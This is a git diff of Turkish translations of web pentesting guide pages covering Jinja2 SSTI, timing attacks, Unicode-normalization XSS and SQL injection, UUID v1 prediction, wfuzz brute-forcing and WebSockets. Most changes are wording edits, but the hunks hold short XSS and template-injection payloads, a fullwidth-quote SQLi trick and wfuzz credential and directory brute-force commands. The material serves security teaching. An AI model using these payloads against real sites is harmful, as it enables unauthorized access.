- [**Daha fazla seçenek için buraya dönün, nesne sınıfına erişim**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
- [**Global bir nesneye erişim için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#accessing-global-objects)
|
||||
- [**Nesne sınıfına erişim için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
- [**Nesne sınıfı olmadan RCE elde etmek için bunu okuyun**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**HTML kodlamasından kaçınma**
|
||||
|
||||
Varsayılan olarak Flask, güvenlik nedenleriyle bir şablondaki her şeyi HTML kodlar:
|
||||
Varsayılan olarak Flask, güvenlik nedenleriyle bir şablonun içindeki her şeyi HTML kodlar:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
@ -245,12 +245,12 @@ Varsayılan olarak Flask, güvenlik nedenleriyle bir şablondaki her şeyi HTML
|
||||
|
||||
|
||||
```
|
||||
## Jinja Injection without **\<class 'object'>**
|
||||
## Jinja Enjeksiyonu **\<class 'object'>** Olmadan
|
||||
|
||||
[**Küresel nesneler**](jinja2-ssti.md#accessing-global-objects) kısmından, **o sınıfı kullanmadan RCE'ye ulaşmanın** başka bir yolu vardır.\
|
||||
Eğer bu küresel nesnelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebilecek ve oradan **RCE**'ye ulaşmak çok **basit** olacaktır.
|
||||
[**global objects**](jinja2-ssti.md#accessing-global-objects) içinden **o sınıfı kullanmadan RCE'ye ulaşmanın** başka bir yolu vardır.\
|
||||
Eğer bu global nesnelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebilir ve oradan **RCE** çok **basit** hale gelir.
|
||||
|
||||
Erişim sağladığınız **`request`**, **`config`** ve diğer ilginç **küresel nesne**'lerden **fonksiyonlar** bulabilirsiniz:
|
||||
Erişim sağladığınız **`request`**, **`config`** ve diğer ilginç **global nesne**'lerden **fonksiyonlar** bulabilirsiniz:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
@ -294,7 +294,7 @@ Bazı fonksiyonlar bulduktan sonra, built-in'leri şu şekilde geri alabilirsini
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) CTF'ler için özel olarak tasarlanmış bir araçtır, ancak gerçek senaryolarda geçersiz parametreleri brute force yapmak için de faydalı olabilir. Araç, filtreleri tespit etmek için kelimeleri ve sorguları yayar, bypass arar ve ayrıca etkileşimli bir konsol sağlar.
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing), CTF'ler için özel olarak tasarlanmış bir araçtır, ancak gerçek senaryolarda geçersiz parametreleri brute force yapmak için de faydalı olabilir. Araç, filtreleri tespit etmek için kelimeleri ve sorguları yayar, bypass arar ve ayrıca etkileşimli bir konsol sağlar.
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
||||
## Referanslar
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
- [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3) kontrol edin.
|
||||
- [attr trick ile kara listeye alınmış karakterleri aşmak için buraya bakın](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
||||
@ -9,14 +9,14 @@
|
||||
|
||||
Zamanlama saldırısının temel amacı, **benzer isteklerden gelen yanıtların zaman farklarını kontrol ederek** karmaşık soruları yanıtlayabilmek veya gizli işlevleri tespit edebilmektir.
|
||||
|
||||
Geleneksel olarak bu, hem ağ hem de sunucu tarafından sağlanan gecikme ve dalgalanma nedeniyle oldukça karmaşık olmuştur. Ancak, [**Yarış Durumu Tek Paket saldırısı**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization) keşfedilip geliştirildikten sonra, bu tekniği kullanarak tüm ağ gecikmelerini denklemin dışına çıkarmak mümkündür.\
|
||||
Geleneksel olarak bu, hem ağ hem de sunucu tarafından sağlanan gecikme ve dalgalanma nedeniyle oldukça karmaşık olmuştur. Ancak, [**Yarış Durumu Tek Paket Saldırısı**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization) keşfedilip geliştirildikten sonra, bu tekniği kullanarak tüm ağ gecikmelerini denklemin dışına çıkarmak mümkündür.\
|
||||
Sadece **sunucu gecikmelerinin** kalması, zamanlama saldırısını keşfetmeyi ve kötüye kullanmayı kolaylaştırır.
|
||||
|
||||
## Keşifler
|
||||
|
||||
### Gizli Saldırı Yüzeyi
|
||||
|
||||
Blog yazısında, bu tekniği kullanarak gizli parametrelerin ve hatta başlıkların bulunmasının mümkün olduğu, parametre veya başlık istekte bulunduğunda yaklaşık **5ms'lik bir zaman farkı** olduğu kontrol edilerek belirtildi. Aslında, bu keşif tekniği **Param Miner**'a Burp Suite'te eklenmiştir.
|
||||
Blog yazısında, bu tekniği kullanarak gizli parametrelerin ve hatta başlıkların bulunmasının mümkün olduğu, parametre veya başlık istekte bulunduğunda yaklaşık **5ms'lik bir zaman farkı** olduğu kontrol edilerek belirtildi. Aslında, bu keşif tekniği Burp Suite'teki **Param Miner**'a eklendi.
|
||||
|
||||
Bu zaman farkları, bir **DNS isteği** yapıldığında, geçersiz bir girdi nedeniyle bazı **logların yazılması** veya bir parametre istekte bulunduğunda bazı **kontrollerin yapılması** nedeniyle olabilir.
|
||||
|
||||
@ -26,11 +26,11 @@ Bu tür saldırılar gerçekleştirirken hatırlamanız gereken bir şey, yüzey
|
||||
|
||||
Aynı araştırmada, zamanlama tekniğinin "kapsamlı SSRF'leri" keşfetmek için harika olduğu paylaşıldı (bu, yalnızca izin verilen IP/domain'lere erişebilen SSRF'lerdir). **İzin verilen bir alan adı ayarlandığında** ve izin verilmeyen bir alan adı ayarlandığında zaman farkını kontrol etmek, yanıt aynı olsa bile açık proxy'leri keşfetmeye yardımcı olur.
|
||||
|
||||
Bir kapsamlı açık proxy keşfedildiğinde, hedefin bilinen alt alan adlarını ayrıştırarak geçerli hedefler bulmak mümkündü ve bu, şunları sağlamıştır:
|
||||
Bir kapsamlı açık proxy keşfedildiğinde, hedefin bilinen alt alan adlarını ayrıştırarak geçerli hedefler bulmak mümkündü ve bu, şunları sağladı:
|
||||
|
||||
- **Ateş duvarlarını atlatmak** için kısıtlı alt alan adlarına **açık proxy** üzerinden erişim sağlamak
|
||||
- Dahası, bir **açık proxy** kullanarak yalnızca dahili olarak erişilebilen **yeni alt alan adlarını keşfetmek** de mümkündür.
|
||||
- **Ön Uç taklit saldırıları**: Ön uç sunucuları genellikle arka uç için `X-Forwarded-For` veya `X-Real-IP` gibi başlıklar ekler. Bu başlıkları alan açık proxy'ler, istenen uç noktaya ekleyecektir; bu nedenle, bir saldırgan bu başlıkları beyaz listeye alınmış değerlerle ekleyerek daha fazla dahili alan adına erişim sağlayabilir.
|
||||
- Ayrıca, bir **açık proxy** kullanarak yalnızca dahili olarak erişilebilen **yeni alt alan adlarını keşfetmek** de mümkündür.
|
||||
- **Ön Uç taklit saldırıları**: Ön uç sunucuları genellikle arka uç için `X-Forwarded-For` veya `X-Real-IP` gibi başlıklar ekler. Bu başlıkları alan isteklerine ekleyen açık proxy'ler, bir saldırganın bu başlıkları beyaz listeye alınmış değerlerle ekleyerek daha fazla dahili alan adına erişim sağlamasına olanak tanır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Arka uç/ön uç nasıl davranıyorsa, bir saldırgan **garip unicode karakterle
|
||||
|
||||
Unicode normalizasyonu, **unicode karakterlerinin ascii karakterlerine normalleştirildiği** durumlarda gerçekleşir.
|
||||
|
||||
Bu tür bir zafiyetin yaygın bir senaryosu, sistemin **kullanıcının girdiğini** **kontrol ettikten sonra** bir şekilde **değiştirmesi** durumunda ortaya çıkar. Örneğin, bazı dillerde **girdiyi büyük veya küçük harfe dönüştürmek** için yapılan basit bir çağrı, verilen girişi normalleştirebilir ve **unicode ASCII'ye dönüştürülecek** yeni karakterler üretebilir.\
|
||||
Bu tür bir zafiyetin yaygın bir senaryosu, sistemin kullanıcının **girişini kontrol ettikten sonra** bir şekilde **değiştirmesi** durumunda ortaya çıkar. Örneğin, bazı dillerde **girişi büyük veya küçük harfe dönüştürmek** için basit bir çağrı, verilen girişi normalleştirebilir ve **unicode ASCII'ye dönüştürülecek** yeni karakterler üretebilir.\
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
@ -29,8 +29,8 @@ Bu zafiyet aslında bir araştırmacının bulduğu bir zafiyetten gelmektedir,
|
||||
|
||||
Arka uçlar, **emoji aldıklarında** tuhaf bir şekilde davranır. Bu, araştırmacının `💋img src=x onerror=alert(document.domain)//💛` gibi bir yükle XSS elde etmeyi başardığı [**bu yazıda**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) olan durumdur.
|
||||
|
||||
Bu durumda, hata, sunucunun kötü niyetli karakterleri kaldırdıktan sonra **UTF-8 dizesini Windows-1252'den UTF-8'e dönüştürmesiydi** (temelde girdi kodlaması ve kodlamadan dönüştürme uyuşmazlığı). Bu, düzgün bir < vermez, sadece garip bir unicode verir: `‹`\
|
||||
``Bu çıktıyı alıp **şimdi UTF-8'den ASCII'ye dönüştürdüler**. Bu, `‹`'yi `<'ye **normalleştirdi**, bu da bu sistemdeki istismarın nasıl çalışabileceğidir.\
|
||||
Bu durumda, hata, sunucunun kötü niyetli karakterleri kaldırdıktan sonra **UTF-8 dizesini Windows-1252'den UTF-8'e dönüştürmesiydi** (temelde giriş kodlaması ve kodlamadan dönüştürme uyuşmazlığı). Bu, düzgün bir < vermez, sadece tuhaf bir unicode verir: `‹`\
|
||||
``Bu çıktıyı aldılar ve **şimdi UTF-8'den ASCII'ye tekrar dönüştürdüler**. Bu, `‹`'yi `<'ye **normalleştirdi**, bu da bu sistemdeki istismarın nasıl çalışabileceğidir.\
|
||||
İşte olanlar:
|
||||
```php
|
||||
<?php
|
||||
|
||||
@ -6,10 +6,10 @@
|
||||
|
||||
## Unicode ve Normalizasyonu Anlamak
|
||||
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliğini tanımlar:
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standart hale getirilmesini sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar:
|
||||
|
||||
1. **Kanonik Eşdeğerlik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahiplerse kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlik biçimidir.
|
||||
1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahiplerse kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir.
|
||||
|
||||
**Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz.
|
||||
|
||||
@ -19,11 +19,11 @@ Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasınd
|
||||
|
||||
- **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembole "kod noktası" olarak bilinen bir sayısal değer atanır.
|
||||
- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar.
|
||||
- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği ve diğer karakterler için dört bayta kadar kullanılabilen yaygın bir kodlama standardıdır.
|
||||
- **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını doğru bir şekilde karakterlere dönüştürmek için kullanılan kodlamanın farkında olması gerekir.
|
||||
- **UTF Varyantları**: UTF-8'in yanı sıra, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak ve diğer karakterler için dört bayta kadar temsil edildiği yaygın bir kodlama standardıdır.
|
||||
- **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olması gerekir.
|
||||
- **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
|
||||
Unicode'un karmaşıklığından ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak çok önemlidir.
|
||||
Unicode'un karmaşıklığı ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak çok önemlidir.
|
||||
|
||||
Unicode'un aynı karakteri temsil eden iki farklı baytı nasıl normalleştirdiğine dair bir örnek:
|
||||
```python
|
||||
@ -43,7 +43,7 @@ Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D
|
||||
|
||||
Kullanıcı girdisi ile SQL sorguları oluşturmak için `'` karakterini kullanan bir web sayfasını hayal edin. Bu web, bir güvenlik önlemi olarak, kullanıcı girdisinden **`'`** karakterinin tüm örneklerini **silmekte**, ancak **bu silme işleminden sonra** ve **sorgunun oluşturulmasından önce**, kullanıcının girdisini **Unicode** kullanarak **normalleştirmektedir**.
|
||||
|
||||
Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer farklı bir Unicode karakteri olan `%ef%bc%87` ekleyebilir; girdi normalleştirildiğinde, bir tek tırnak oluşturulur ve bir **SQL Injection zafiyeti** ortaya çıkar:
|
||||
Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer farklı bir Unicode karakteri olan `%ef%bc%87` ekleyebilir; girdi normalleştirildiğinde, bir tek tırnak oluşturulur ve bir **SQLInjection zafiyeti** ortaya çıkar:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -83,7 +83,7 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Örneğin, önerilen ilk Unicode karakteri şu şekilde gönderilebilir: `%e2%89%ae` veya `%u226e`
|
||||
Örneğin, önerilen ilk Unicode karakterinin `%e2%89%ae` veya `%u226e` olarak gönderilebileceğini unutmayın.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Evrensel Benzersiz Tanımlayıcılar (UUID'ler), bilgisayar sistemlerinde bilgiyi benzersiz bir şekilde tanımlamak için kullanılan **128 bitlik sayılardır**. UUID'ler, merkezi bir koordinasyona ihtiyaç duymadan benzersiz tanımlayıcıların gerekli olduğu uygulamalarda önemlidir. Genellikle veritabanı anahtarları olarak kullanılır ve belgeler ile oturumlar gibi çeşitli öğeleri referans alabilir.
|
||||
Evrensel Benzersiz Tanımlayıcılar (UUID'ler), bilgisayar sistemlerinde bilgileri benzersiz bir şekilde tanımlamak için kullanılan **128 bitlik sayılardır**. UUID'ler, merkezi bir koordinasyona ihtiyaç duymadan benzersiz tanımlayıcıların gerekli olduğu uygulamalarda önemlidir. Genellikle veritabanı anahtarları olarak kullanılır ve belgeler ile oturumlar gibi çeşitli öğeleri referans alabilirler.
|
||||
|
||||
UUID'ler, benzersiz ve **tahmin edilmesi zor** olacak şekilde tasarlanmıştır. Belirli bir formatta yapılandırılmıştır ve 32 onaltılık basamaktan oluşan beş gruba ayrılmıştır. Farklı amaçlar için hizmet eden farklı UUID sürümleri vardır:
|
||||
UUID'ler, benzersiz olacak şekilde ve **tahmin edilmesi zor** olacak şekilde tasarlanmıştır. Belirli bir formatta yapılandırılmıştır ve 32 onaltılık basamaktan oluşan beş gruba ayrılmıştır. Farklı amaçlar için hizmet eden farklı UUID sürümleri vardır:
|
||||
|
||||
- **UUID v1**, zaman damgası, saat sırası ve düğüm kimliği (MAC adresi) içeren zaman tabanlıdır, ancak sistem bilgilerini potansiyel olarak açığa çıkarabilir.
|
||||
- **UUID v2**, v1'e benzer ancak yerel alanlar için değişiklikler içerir (yaygın olarak kullanılmaz).
|
||||
@ -18,16 +18,16 @@ UUID'ler, benzersiz ve **tahmin edilmesi zor** olacak şekilde tasarlanmıştır
|
||||
> 12345678 - abcd - 1a56 - a539 - 103755193864\
|
||||
> xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
|
||||
>
|
||||
> - **M'nin konumu**, UUID'nin **sürümünü** gösterir. Yukarıdaki örnekte, bu UUID v**1**'dir.
|
||||
> - **M'nin konumu**, UUID'nin **sürümünü** gösterir. Yukarıdaki örnekte, UUID v**1**'dir.
|
||||
> - **N'nin konumu**, UUID varyantını gösterir.
|
||||
|
||||
## Sandviç saldırısı
|
||||
|
||||
"Sandviç Saldırısı", **web uygulamalarında UUID v1 üretiminin tahmin edilebilirliğinden yararlanan** belirli bir saldırı türüdür, özellikle şifre sıfırlama gibi özelliklerde. UUID v1, zaman, saat sırası ve düğümün MAC adresine dayalı olarak üretilir; bu, bir saldırganın zaman açısından yakın üretilen bazı UUID'leri elde edebilmesi durumunda tahmin edilebilir hale getirebilir.
|
||||
"Sandviç Saldırısı", **web uygulamalarında UUID v1 üretiminin tahmin edilebilirliğini istismar eden** belirli bir saldırı türüdür, özellikle şifre sıfırlama gibi özelliklerde. UUID v1, zaman, saat sırası ve düğümün MAC adresine dayalı olarak üretilir; bu, bir saldırganın zaman açısından yakın üretilen bazı UUID'leri elde edebilmesi durumunda tahmin edilebilir hale getirebilir.
|
||||
|
||||
### Örnek
|
||||
|
||||
UUID v1'i şifre sıfırlama bağlantıları oluşturmak için kullanan bir web uygulamasını hayal edin. İşte bir saldırganın bunu yetkisiz erişim elde etmek için nasıl kullanabileceği:
|
||||
UUID v1'i şifre sıfırlama bağlantıları oluşturmak için kullanan bir web uygulamasını hayal edin. İşte bir saldırganın bunu yetkisiz erişim elde etmek için nasıl istismar edebileceği:
|
||||
|
||||
1. **Başlangıç Ayarı**:
|
||||
|
||||
@ -51,7 +51,7 @@ UUID v1'i şifre sıfırlama bağlantıları oluşturmak için kullanan bir web
|
||||
|
||||
5. **Erişim Sağlandı:**
|
||||
|
||||
- Kurbanın şifre sıfırlama bağlantısı için doğru UUID keşfedildiğinde, saldırgan kurbanın şifresini sıfırlayabilir ve hesabına yetkisiz erişim sağlayabilir.
|
||||
- Kurbanın şifre sıfırlama bağlantısı için doğru UUID keşfedildiğinde, saldırgan kurbanın şifresini sıfırlayabilir ve hesabına yetkisiz erişim elde edebilir.
|
||||
|
||||
### Araçlar
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
Web uygulamalarını her yerde FUZZ yapmak için bir araç.
|
||||
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz), web uygulamaları değerlendirmelerinde görevi kolaylaştırmak için oluşturulmuştur ve basit bir konsepte dayanmaktadır: FUZZ anahtar kelimesine yapılan her referansı verilen bir yükün değeriyle değiştirir.
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz), web uygulama değerlendirmelerinde görevi kolaylaştırmak için oluşturulmuştur ve basit bir konsepte dayanmaktadır: FUZZ anahtar kelimesine yapılan her referansı verilen bir yükün değeriyle değiştirir.
|
||||
|
||||
## Kurulum
|
||||
|
||||
@ -36,7 +36,7 @@ wfuzz -e printers #Prints the available output formats
|
||||
wfuzz -e encoders #Prints the available encoders
|
||||
#Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
|
||||
```
|
||||
Bir kodlayıcı kullanmak için, bunu **"-w"** veya **"-z"** seçeneğinde belirtmelisiniz.
|
||||
Bir encoder kullanmak için, bunu **"-w"** veya **"-z"** seçeneğinde belirtmeniz gerekir.
|
||||
|
||||
Örnekler:
|
||||
```bash
|
||||
@ -68,13 +68,13 @@ wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHP
|
||||
```
|
||||
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
||||
```
|
||||
### Yol Parametreleri BF
|
||||
### Path Parametreleri BF
|
||||
```bash
|
||||
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
|
||||
```
|
||||
### Başlık Kimlik Doğrulaması
|
||||
### Header Authentication
|
||||
|
||||
#### **Temel, 2 liste, filtre dizesi (göster), proxy**
|
||||
#### **Temel, 2 liste, filtreleme dizesi (göster), proxy**
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
|
||||
```
|
||||
@ -108,7 +108,7 @@ wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.
|
||||
```bash
|
||||
$ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
|
||||
```
|
||||
### Dizin & Dosya Bruteforce
|
||||
### Dizin ve Dosya Bruteforce
|
||||
```bash
|
||||
#Filter by whitelisting codes
|
||||
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
|
||||
|
||||
@ -7,7 +7,7 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da ek bir zafiyet gerektirir.
|
||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxies** kullanmaktadır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka planda ek bir zafiyet de gereklidir.
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
|
||||
@ -21,7 +21,7 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
|
||||
## **Kullanıcı girişi**
|
||||
|
||||
> [!NOTE]
|
||||
> Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verir.**\
|
||||
> Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verecektir.**\
|
||||
> Sunucunun beklediği veri yapısına bağlı olarak bazı zafiyetler uygulanabilir veya uygulanmayabilir.
|
||||
|
||||
### **Yansıtılan Değerler**
|
||||
@ -52,7 +52,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
### **Arama işlevleri**
|
||||
|
||||
Eğer işlev, arka uçta bir tür veri aramak için kullanılabiliyorsa, belki de onu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
|
||||
Eğer işlev, arka planda bazı verileri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
||||
- [ ] [**NoSQL Injection**](nosql-injection.md)
|
||||
|
||||
@ -7,10 +7,10 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
|
||||
## Proxiler
|
||||
|
||||
> [!NOTE]
|
||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar açıkları istismar etmek için (kötüye) kullanılabilir. Bu açıkların var olması için savunmasız bir proxy'nin mevcut olması gerekir, ancak genellikle arka uçta ek bir açığa da ihtiyaç duyarlar.
|
||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar açıkları istismar etmek için (kötüye) kullanılabilir. Bu açıkların var olması için savunmasız bir proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da ek bir açığa ihtiyaç duyarlar.
|
||||
|
||||
- [ ] [**Hop-by-hop başlıklarının kötüye kullanılması**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Önbellek Zehirleme/Önbellek Aldatma**](../cache-deception.md)
|
||||
- [ ] [**Önbellek Zehirlenmesi/Önbellek Aldatmacası**](../cache-deception.md)
|
||||
- [ ] [**HTTP İstek Kaçırma**](../http-request-smuggling/)
|
||||
- [ ] [**H2C Kaçırma**](../h2c-smuggling.md)
|
||||
- [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
@ -26,7 +26,7 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
|
||||
|
||||
### **Yansıtılan Değerler**
|
||||
|
||||
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
|
||||
Eğer girilen veriler bir şekilde yanıtta yansıyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
|
||||
|
||||
- [ ] [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Komut Enjeksiyonu**](../command-injection.md)
|
||||
@ -52,7 +52,7 @@ Bahsedilen bazı açıklar özel koşullar gerektirirken, diğerleri yalnızca i
|
||||
|
||||
### **Arama Fonksiyonları**
|
||||
|
||||
Eğer işlev, arka uçta bir tür veri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
|
||||
Eğer işlev, arka uçta bazı verileri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
|
||||
|
||||
- [ ] [**Dosya Dahil Etme/Yol Geçişi**](../file-inclusion/)
|
||||
- [ ] [**NoSQL Enjeksiyonu**](../nosql-injection.md)
|
||||
@ -75,7 +75,7 @@ Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı açı
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**İçerik Güvenlik Politikası aşma**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Çerez Hacking**](../hacking-with-cookies/)
|
||||
- [ ] [**Çerez Kırma**](../hacking-with-cookies/)
|
||||
- [ ] [**CORS - Yanlış Yapılandırmalar & Aşma**](../cors-bypass.md)
|
||||
|
||||
### **Aşmalar**
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## WebSocket Nedir
|
||||
|
||||
WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır, bu da her zaman iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri **düşük gecikme veya sunucu tarafından başlatılan iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir, örneğin canlı finansal veri akışları.
|
||||
WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, **düşük gecikme veya sunucu tarafından başlatılan iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir, örneğin canlı finansal veri akışları.
|
||||
|
||||
### WebSocket Bağlantılarının Kurulması
|
||||
|
||||
@ -12,9 +12,9 @@ WebSocket bağlantılarının kurulması hakkında ayrıntılı bir açıklama [
|
||||
```javascript
|
||||
